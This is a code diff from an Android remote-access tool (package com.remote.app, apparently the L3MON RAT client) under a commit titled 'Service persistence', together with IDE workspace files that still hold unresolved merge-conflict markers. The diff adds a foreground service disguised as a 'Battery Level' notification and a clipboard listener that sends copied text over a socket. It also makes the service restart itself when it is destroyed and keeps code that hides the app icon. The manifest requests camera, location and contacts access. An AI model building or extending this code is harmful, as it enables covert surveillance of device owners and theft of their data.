<caret line="20" column="39" selection-start-line="20" selection-start-column="39" selection-end-line="20" selection-end-column="39" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="374">
|
||||
<caret line="26" column="9" selection-start-line="26" selection-start-column="9" selection-end-line="26" selection-end-column="9" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MyReceiver.java" />
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/ServiceReciever.java" />
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MainService.java" />
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/build.gradle" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
|
||||
=======
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/PermissionManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="68">
|
||||
<caret line="10" column="24" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="30" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="367">
|
||||
<caret line="76" selection-start-line="76" selection-end-line="76" />
|
||||
</state>
|
||||
</provider>
|
||||
<provider editor-type-id="android-manifest" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MyReceiver.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="68">
|
||||
<caret line="8" column="20" selection-start-line="8" selection-start-column="20" selection-end-line="8" selection-end-column="20" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="187">
|
||||
<caret line="15" column="64" selection-start-line="15" selection-start-column="64" selection-end-line="15" selection-end-column="64" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainActivity.java">
|
||||
>>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state>
|
||||
<folding>
|
||||
<element signature="imports" expanded="true" />
|
||||
<element signature="e#637#638#0" expanded="true" />
|
||||
<element signature="e#660#661#0" expanded="true" />
|
||||
<element signature="e#2538#2539#0" expanded="true" />
|
||||
<element signature="e#2581#2582#0" expanded="true" />
|
||||
</folding>
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/build.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/build.gradle">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CallsManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="153">
|
||||
<caret line="9" column="38" selection-start-line="9" selection-start-column="38" selection-end-line="9" selection-end-column="38" />
|
||||
<state relative-caret-position="165">
|
||||
<caret line="19" column="36" selection-start-line="19" selection-start-column="36" selection-end-line="19" selection-end-column="36" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/build.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="46">
|
||||
<caret line="10" column="24" selection-start-line="10" selection-start-column="24" selection-end-line="10" selection-end-column="24" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/AndroidManifest.xml" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="323">
|
||||
<caret line="23" column="54" selection-start-line="23" selection-start-column="54" selection-end-line="23" selection-end-column="54" />
|
||||
=======
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/NotificationListener.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="119">
|
||||
<caret line="17" column="40" selection-start-line="17" selection-start-column="40" selection-end-line="17" selection-end-column="40" />
|
||||
<folding>
|
||||
<element signature="e#457#458#0" expanded="true" />
|
||||
<element signature="e#500#501#0" expanded="true" />
|
||||
</folding>
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="539">
|
||||
<caret line="199" selection-start-line="199" selection-end-line="201" selection-end-column="5" />
|
||||
<folding>
|
||||
<element signature="imports" expanded="true" />
|
||||
<element signature="e#5451#6425#0" expanded="true" />
|
||||
<element signature="e#6424#6425#0" expanded="true" />
|
||||
<element signature="e#7095#7096#0" expanded="true" />
|
||||
<element signature="e#7197#7198#0" expanded="true" />
|
||||
</folding>
|
||||
>>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
|
@ -19,7 +19,7 @@
|
||||
<option name="ALLOW_USER_CONFIGURATION" value="false" />
|
||||
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
|
||||
<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
|
||||
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
|
||||
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res;file://$MODULE_DIR$/build/generated/res/resValues/debug" />
|
||||
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
|
||||
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
|
||||
</configuration>
|
||||
@ -93,5 +93,12 @@
|
||||
<orderEntry type="library" name="Gradle: io.socket:engine.io-client:0.8.3@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: com.squareup.okhttp3:okhttp:3.5.0@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: com.squareup.okio:okio:1.11.0@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: com.android.support:collections:28.0.0@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: android.arch.lifecycle:common:1.1.1@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: android.arch.core:common:1.1.1@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: com.android.support:support-annotations:28.0.0@jar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: com.android.support:support-compat:28.0.0@aar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: com.android.support:versionedparcelable:28.0.0@aar" level="project" />
|
||||
<orderEntry type="library" name="Gradle: android.arch.lifecycle:runtime:1.1.1@aar" level="project" />
|
||||
</component>
|
||||
</module>
|
@ -8,7 +8,7 @@ android {
|
||||
buildToolsVersion '28.0.3'
|
||||
defaultConfig {
|
||||
applicationId 'com.remote.app'
|
||||
minSdkVersion 11
|
||||
minSdkVersion 14
|
||||
targetSdkVersion 28
|
||||
versionCode 1
|
||||
versionName "1.0"
|
||||
@ -27,4 +27,5 @@ dependencies {
|
||||
// excluding org.json which is provided by Android
|
||||
exclude group: 'org.json', module: 'json'
|
||||
}
|
||||
implementation 'com.android.support:support-compat:28.0.0'
|
||||
}
|
||||
|
@ -1,5 +1,8 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.app.Notification;
|
||||
import android.app.NotificationChannel;
|
||||
import android.app.NotificationManager;
|
||||
import android.app.Service;
|
||||
import android.content.ClipData;
|
||||
import android.content.ClipboardManager;
|
||||
@ -7,8 +10,13 @@ import android.content.ComponentName;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.content.pm.PackageManager;
|
||||
import android.graphics.Color;
|
||||
import android.os.Build;
|
||||
import android.os.IBinder;
|
||||
import android.os.PowerManager;
|
||||
import android.support.annotation.Nullable;
|
||||
import android.support.annotation.RequiresApi;
|
||||
import android.support.v4.app.NotificationCompat;
|
||||
import android.telephony.ServiceState;
|
||||
|
||||
import org.json.JSONException;
|
||||
@ -16,32 +24,130 @@ import org.json.JSONObject;
|
||||
|
||||
public class MainService extends Service {
|
||||
private static Context contextOfApplication;
|
||||
boolean isServiceStarted = false;
|
||||
PowerManager pm;
|
||||
PowerManager.WakeLock wl ;
|
||||
|
||||
public MainService() {
|
||||
super();
|
||||
}
|
||||
// boolean isServiceStarted = false;
|
||||
// PowerManager pm;
|
||||
// PowerManager.WakeLock wl ;
|
||||
//
|
||||
// public MainService() {
|
||||
// super();
|
||||
// }
|
||||
//
|
||||
// @Override
|
||||
// public IBinder onBind(Intent intent) {
|
||||
// // TODO: Return the communication channel to the service.
|
||||
// //throw new UnsupportedOperationException("Not yet implemented");
|
||||
// return null;
|
||||
// }
|
||||
//
|
||||
// @Override
|
||||
// public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
|
||||
//
|
||||
// start();
|
||||
//
|
||||
// // Hide App Icon
|
||||
// PackageManager pkg=this.getPackageManager();
|
||||
// pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
|
||||
//
|
||||
//
|
||||
//
|
||||
// ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() {
|
||||
// public void onPrimaryClipChanged() {
|
||||
// ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
|
||||
// if (clipboard.hasPrimaryClip()) {
|
||||
// ClipData clipData = clipboard.getPrimaryClip();
|
||||
// if (clipData.getItemCount() > 0) {
|
||||
// CharSequence text = clipData.getItemAt(0).getText();
|
||||
// if (text != null) {
|
||||
// try {
|
||||
// JSONObject data = new JSONObject();
|
||||
// data.put("text", text);
|
||||
// IOSocket.getInstance().getIoSocket().emit("0xCB" , data);
|
||||
// } catch (JSONException e) {
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// };
|
||||
//
|
||||
// ClipboardManager clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
|
||||
// clipboardManager.addPrimaryClipChangedListener(mPrimaryChangeListener);
|
||||
//
|
||||
//
|
||||
// contextOfApplication = this;
|
||||
// ConnectionManager.startAsync(this);
|
||||
// return Service.START_STICKY;
|
||||
// }
|
||||
//
|
||||
// public void start(){
|
||||
//
|
||||
// if(isServiceStarted) return;
|
||||
//
|
||||
// isServiceStarted = true;
|
||||
//
|
||||
// try{
|
||||
// pm = (PowerManager)getSystemService(Context.POWER_SERVICE);
|
||||
//
|
||||
// if(!pm.isScreenOn()) {
|
||||
// wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,"ProcessManger:CollectData");
|
||||
// wl.acquire(300);
|
||||
// }
|
||||
// else if (wl.isHeld()) wl.release();
|
||||
// }
|
||||
// catch(Exception e){
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
//
|
||||
// }
|
||||
//
|
||||
// @Override
|
||||
// public void onDestroy() {
|
||||
// isServiceStarted = false;
|
||||
// super.onDestroy();
|
||||
// sendBroadcast(new Intent("respawnService"));
|
||||
// }
|
||||
//
|
||||
// public static Context getContextOfApplication()
|
||||
// {
|
||||
// return contextOfApplication;
|
||||
// }
|
||||
|
||||
@Override
|
||||
public IBinder onBind(Intent intent) {
|
||||
// TODO: Return the communication channel to the service.
|
||||
//throw new UnsupportedOperationException("Not yet implemented");
|
||||
return null;
|
||||
public void onCreate() {
|
||||
super.onCreate();
|
||||
if (Build.VERSION.SDK_INT > Build.VERSION_CODES.O)
|
||||
startMyOwnForeground();
|
||||
else
|
||||
startForeground(1, new Notification());
|
||||
}
|
||||
|
||||
@RequiresApi(Build.VERSION_CODES.O)
|
||||
private void startMyOwnForeground()
|
||||
{
|
||||
String NOTIFICATION_CHANNEL_ID = "example.permanence";
|
||||
String channelName = "Battery Level Service";
|
||||
NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE);
|
||||
chan.setLightColor(Color.BLUE);
|
||||
chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);
|
||||
|
||||
NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
|
||||
assert manager != null;
|
||||
manager.createNotificationChannel(chan);
|
||||
|
||||
NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID);
|
||||
Notification notification = notificationBuilder.setOngoing(true)
|
||||
.setContentTitle("Battery Level")
|
||||
.setPriority(NotificationManager.IMPORTANCE_MIN)
|
||||
.setCategory(Notification.CATEGORY_SERVICE)
|
||||
.build();
|
||||
startForeground(2, notification);
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
|
||||
|
||||
start();
|
||||
|
||||
// Hide App Icon
|
||||
PackageManager pkg=this.getPackageManager();
|
||||
pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
|
||||
|
||||
|
||||
|
||||
public int onStartCommand(Intent intent, int flags, int startId) {
|
||||
super.onStartCommand(intent, flags, startId);
|
||||
ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() {
|
||||
public void onPrimaryClipChanged() {
|
||||
ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
|
||||
@ -69,40 +175,29 @@ public class MainService extends Service {
|
||||
|
||||
contextOfApplication = this;
|
||||
ConnectionManager.startAsync(this);
|
||||
return Service.START_STICKY;
|
||||
}
|
||||
|
||||
public void start(){
|
||||
|
||||
if(isServiceStarted) return;
|
||||
|
||||
isServiceStarted = true;
|
||||
|
||||
try{
|
||||
pm = (PowerManager)getSystemService(Context.POWER_SERVICE);
|
||||
|
||||
if(!pm.isScreenOn()) {
|
||||
wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,"ProcessManger:CollectData");
|
||||
wl.acquire(300);
|
||||
}
|
||||
else if (wl.isHeld()) wl.release();
|
||||
}
|
||||
catch(Exception e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return START_STICKY;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onDestroy() {
|
||||
isServiceStarted = false;
|
||||
super.onDestroy();
|
||||
sendBroadcast(new Intent("respawnService"));
|
||||
|
||||
Intent broadcastIntent = new Intent();
|
||||
broadcastIntent.setAction("RestartService");
|
||||
broadcastIntent.setClass(this, ServiceReciever.class);
|
||||
this.sendBroadcast(broadcastIntent);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@Nullable
|
||||
@Override
|
||||
public IBinder onBind(Intent intent) {
|
||||
return null;
|
||||
}
|
||||
|
||||
public static Context getContextOfApplication()
|
||||
{
|
||||
return contextOfApplication;
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -3,12 +3,17 @@ package com.remote.app;
|
||||
import android.content.BroadcastReceiver;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.os.Build;
|
||||
import android.util.Log;
|
||||
|
||||
public class ServiceReciever extends BroadcastReceiver {
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
context.startService(new Intent(context.getApplicationContext(), MainService.class));
|
||||
|
||||
// context.startService(new Intent(context.getApplicationContext(), MainService.class));
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
context.startForegroundService(new Intent(context, MainService.class));
|
||||
} else {
|
||||
context.startService(new Intent(context, MainService.class));
|
||||
}
|
||||
}
|
||||
}
|
@ -1,4 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.remote.app">
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="28" android:compileSdkVersionCodename="9" package="com.remote.app" platformBuildVersionCode="28" platformBuildVersionName="9">
|
||||
<uses-permission android:name="android.permission.WAKE_LOCK"/>
|
||||
<uses-permission android:name="android.permission.CAMERA"/>
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
|
||||
@ -16,7 +16,7 @@
|
||||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<application android:allowBackup="true" android:hardwareAccelerated="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:supportsRtl="true" android:theme="@style/AppTheme">
|
||||
<application android:allowBackup="true" android:appComponentFactory="android.support.v4.app.CoreComponentFactory" android:hardwareAccelerated="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:supportsRtl="true" android:theme="@style/AppTheme">
|
||||
<activity android:launchMode="singleInstance" android:name="com.remote.app.MainActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
|
@ -3,14 +3,26 @@ apkFileName: app-release.apk
|
||||
compressionType: false
|
||||
doNotCompress:
|
||||
- arsc
|
||||
- res/drawable-hdpi-v4/notification_bg_low_normal.9.png
|
||||
- res/drawable-hdpi-v4/notification_bg_low_pressed.9.png
|
||||
- res/drawable-hdpi-v4/notification_bg_normal.9.png
|
||||
- res/drawable-hdpi-v4/notification_bg_normal_pressed.9.png
|
||||
- png
|
||||
- res/drawable-mdpi-v4/notification_bg_low_normal.9.png
|
||||
- res/drawable-mdpi-v4/notification_bg_low_pressed.9.png
|
||||
- res/drawable-mdpi-v4/notification_bg_normal.9.png
|
||||
- res/drawable-mdpi-v4/notification_bg_normal_pressed.9.png
|
||||
- res/drawable-xhdpi-v4/notification_bg_low_normal.9.png
|
||||
- res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png
|
||||
- res/drawable-xhdpi-v4/notification_bg_normal.9.png
|
||||
- res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png
|
||||
isFrameworkApk: false
|
||||
packageInfo:
|
||||
forcedPackageId: '127'
|
||||
renameManifestPackage: null
|
||||
sdkInfo:
|
||||
minSdkVersion: '11'
|
||||
targetSdkVersion: '24'
|
||||
minSdkVersion: '14'
|
||||
targetSdkVersion: '28'
|
||||
sharedLibrary: false
|
||||
sparseResources: false
|
||||
unknownFiles: {}
|
||||
|
@ -1,18 +1,130 @@
|
||||
Signature-Version: 1.0
|
||||
Created-By: 1.0 (Android)
|
||||
SHA1-Digest-Manifest: OYN+gNUkLSo8mCy4JklNjJuZeFE=
|
||||
SHA1-Digest-Manifest: g4yoCisYLyXI7wUmD5zJMn3AcNk=
|
||||
|
||||
Name: AndroidManifest.xml
|
||||
SHA1-Digest: sP9qaoXfPu3rS3pX+gK+OMLrSAg=
|
||||
SHA1-Digest: xKbbLhV3eFCAsWGLIPl7xB3iVFw=
|
||||
|
||||
Name: META-INF/android.arch.lifecycle_runtime.version
|
||||
SHA1-Digest: mgd0ibqCDE7dziahk3gQRzTxqfA=
|
||||
|
||||
Name: META-INF/androidx.core_core.version
|
||||
SHA1-Digest: qzW7rmoru5/gCL3Q64uxwsvKy40=
|
||||
|
||||
Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
|
||||
n
|
||||
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
|
||||
|
||||
Name: classes.dex
|
||||
SHA1-Digest: Rr10Wnd+by1MPx6AagUo9fyFgTI=
|
||||
SHA1-Digest: l0D4Pu8rxrMIOjxngIstZideahY=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_low_pressed.9.png
|
||||
SHA1-Digest: hlGgjwCibYSJn0dDvquLScOoXss=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_normal.9.png
|
||||
SHA1-Digest: c5f+iD+5NWV0zWxwzUyh+V+QpkY=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_normal_pressed.9.png
|
||||
SHA1-Digest: tLTtgWwmC52vFV8WmsQe/d9txW4=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notify_panel_notification_icon_bg.png
|
||||
SHA1-Digest: rPKbb20RGbvShI5/3oDbpeRZyYE=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: Tnovl3GT2HHDBF1rlU8FPMsFpFA=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notification_bg_low_pressed.9.png
|
||||
SHA1-Digest: sZI/MrQgBXh2aJFcQWzZXWRcBz0=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notification_bg_normal.9.png
|
||||
SHA1-Digest: Q3acMTlGj6UQhONPvMrXTfJYYHU=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notification_bg_normal_pressed.9.png
|
||||
SHA1-Digest: ahL1IX+Xa3VHwxUrKeuJQsGU4Rs=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notify_panel_notification_icon_bg.png
|
||||
SHA1-Digest: G1uzqQ7UaV7jhbp84LRK1WGbP3Q=
|
||||
|
||||
Name: res/drawable-v21/notification_action_background.xml
|
||||
SHA1-Digest: 80dPVWkbvCDQATht5PynEDZfbU0=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: skfmh8AKXvj2Y90RQYRWGn6cYvs=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png
|
||||
SHA1-Digest: OOefFpggagskOSa29mfgruzOhPQ=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notification_bg_normal.9.png
|
||||
SHA1-Digest: VLNXFzqJn8hvw7NJ233yGma3RqA=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png
|
||||
SHA1-Digest: oXhMxqCdTU9FU0k6ZW87SKaXIv4=
|
||||
|
||||
Name: res/drawable-xhdpi-v4/notify_panel_notification_icon_bg.png
|
||||
SHA1-Digest: e3LBNjD7qx/P2ADJrhGYMpZZVrw=
|
||||
|
||||
Name: res/drawable/notification_bg.xml
|
||||
SHA1-Digest: 5kJcFgL2SO5bmSFv6ug1XNYXdjo=
|
||||
|
||||
Name: res/drawable/notification_bg_low.xml
|
||||
SHA1-Digest: 9ykEiSP/5+4AeJFJHpbmqBVaG8s=
|
||||
|
||||
Name: res/drawable/notification_icon_background.xml
|
||||
SHA1-Digest: l5oEGaFQUySLi9ZEQsBl9qlclCQ=
|
||||
|
||||
Name: res/drawable/notification_tile_bg.xml
|
||||
SHA1-Digest: YglohQtVFRp8J0s8sl86sBk7Fbo=
|
||||
|
||||
Name: res/layout-v16/notification_template_custom_big.xml
|
||||
SHA1-Digest: y6SYgVyfSKvpZ317wsqzxaKH7dw=
|
||||
|
||||
Name: res/layout-v17/activity_main.xml
|
||||
SHA1-Digest: M5WyGyXAf2YfyxbpvAFTz15vzxM=
|
||||
SHA1-Digest: QVul4z4VBI0dH/86vKiSZW9JMXQ=
|
||||
|
||||
Name: res/layout-v17/notification_action.xml
|
||||
SHA1-Digest: 5e9X116jhb7p/LLEYTZuyjxx3XA=
|
||||
|
||||
Name: res/layout-v17/notification_action_tombstone.xml
|
||||
SHA1-Digest: RZ/J+mKULThRRtoNUQ5Sz3rkGsw=
|
||||
|
||||
Name: res/layout-v17/notification_template_custom_big.xml
|
||||
SHA1-Digest: PKIJ6zgcR0U86Q0ZNU4QB7dssoY=
|
||||
|
||||
Name: res/layout-v21/notification_action.xml
|
||||
SHA1-Digest: 55CJVexYt58asBzcLPbJTGtbzLo=
|
||||
|
||||
Name: res/layout-v21/notification_action_tombstone.xml
|
||||
SHA1-Digest: qaVsdS5/VDc1Fp5hDb+epgxC/Mo=
|
||||
|
||||
Name: res/layout-v21/notification_template_custom_big.xml
|
||||
SHA1-Digest: GskipuyuxFYTJgaMJeCGBQq3o3g=
|
||||
|
||||
Name: res/layout-v21/notification_template_icon_group.xml
|
||||
SHA1-Digest: Q+RITn8JhuTRX99rDKEo9DWVQZ0=
|
||||
|
||||
Name: res/layout/activity_main.xml
|
||||
SHA1-Digest: ISml5/kpf13n1scryKiS6UGwrtw=
|
||||
SHA1-Digest: Q5qZzEEEpYcOYSRJW6xfEFpIQe4=
|
||||
|
||||
Name: res/layout/notification_action.xml
|
||||
SHA1-Digest: EzWXinX/fm78HHpxMoZs7BGB+qU=
|
||||
|
||||
Name: res/layout/notification_action_tombstone.xml
|
||||
SHA1-Digest: S1HH1vazMCAQER2MwOlykwPYbGY=
|
||||
|
||||
Name: res/layout/notification_template_custom_big.xml
|
||||
SHA1-Digest: tDe6kk8f7sxJTfsaIcGQbWADqm0=
|
||||
|
||||
Name: res/layout/notification_template_icon_group.xml
|
||||
SHA1-Digest: ejB3D6PLiXZOjzMxJbCjdZqZGg0=
|
||||
|
||||
Name: res/layout/notification_template_part_chronometer.xml
|
||||
SHA1-Digest: RApcwLPhtEiD90nnfrY+IL1sXzU=
|
||||
|
||||
Name: res/layout/notification_template_part_time.xml
|
||||
SHA1-Digest: 8f+j39hkWGlg90etPlVgKLTr8C8=
|
||||
|
||||
Name: res/mipmap-hdpi-v4/ic_launcher.png
|
||||
SHA1-Digest: 7rQl6EYeTTp31EHiQqxTWNvHumI=
|
||||
@ -30,5 +142,5 @@ Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
|
||||
SHA1-Digest: iLOKwoF385humB5kq5Bq46YZBTo=
|
||||
|
||||
Name: resources.arsc
|
||||
SHA1-Digest: fOUfq7C6Zuy2ImdF/EcuZao0wKQ=
|
||||
SHA1-Digest: BKQCzdYe+5lDERHEO5K6pJ+h8k4=
|
||||
|
||||
|
@ -3,16 +3,128 @@ Built-By: Generated-by-ADT
|
||||
Created-By: Android Gradle 3.4.2
|
||||
|
||||
Name: AndroidManifest.xml
|
||||
SHA1-Digest: exC/pWpjO3bTeHXZfrajpyunWi8=
|
||||
SHA1-Digest: yrkPxf/Yz31DkwSTKCDn3tblpc4=
|
||||
|
||||
Name: META-INF/android.arch.lifecycle_runtime.version
|
||||
SHA1-Digest: OxxKFJcpzAROGjnfMbNijNv1+JU=
|
||||
|
||||
Name: META-INF/androidx.core_core.version
|
||||
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
|
||||
|
||||
Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
|
||||
n
|
||||
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
|
||||
|
||||
Name: classes.dex
|
||||
SHA1-Digest: 3o1Ekb6FXHIRJDWXWB14a3+P3/M=
|
||||
SHA1-Digest: cxWymTTuoTvUYxa4odT0rXgKbQA=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_low_pressed.9.png
|
||||
SHA1-Digest: NP77wvGcwseigxPz8Z8jideVqXk=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_normal.9.png
|
||||
SHA1-Digest: ralFi/xjLzZzimSmlAGCFAUgfbE=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_normal_pressed.9.png
|
||||
SHA1-Digest: 4j+L3Jzr2U70TU9dUenWhtYe/lU=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notify_panel_notification_icon_bg.png
|
||||
SHA1-Digest: lHP2KU/WCXjWVnoatuFo6tnTPPs=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: sUXBSDmIwrVhXMAYtsmpMAdZsVM=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notification_bg_low_pressed.9.png
|
||||
SHA1-Digest: 58BeVrWmam0XTYtOcBJSh3YmiJQ=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notification_bg_normal.9.png
|
||||
SHA1-Digest: Wl4jBkhtPS9E+JkWaS0GOyoMbuw=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notification_bg_normal_pressed.9.png
|
||||
SHA1-Digest: qf8Bo3OrZFOkS8OQT2FTwy3VSA8=
|
||||
|
||||
Name: res/drawable-mdpi-v4/notify_panel_notification_icon_bg.png
|
||||
SHA1-Digest: z0oai5b1MK3J/UNjdCA5ECdf2qg=
|
||||
|
||||
Name: res/drawable-v21/notification_action_background.xml
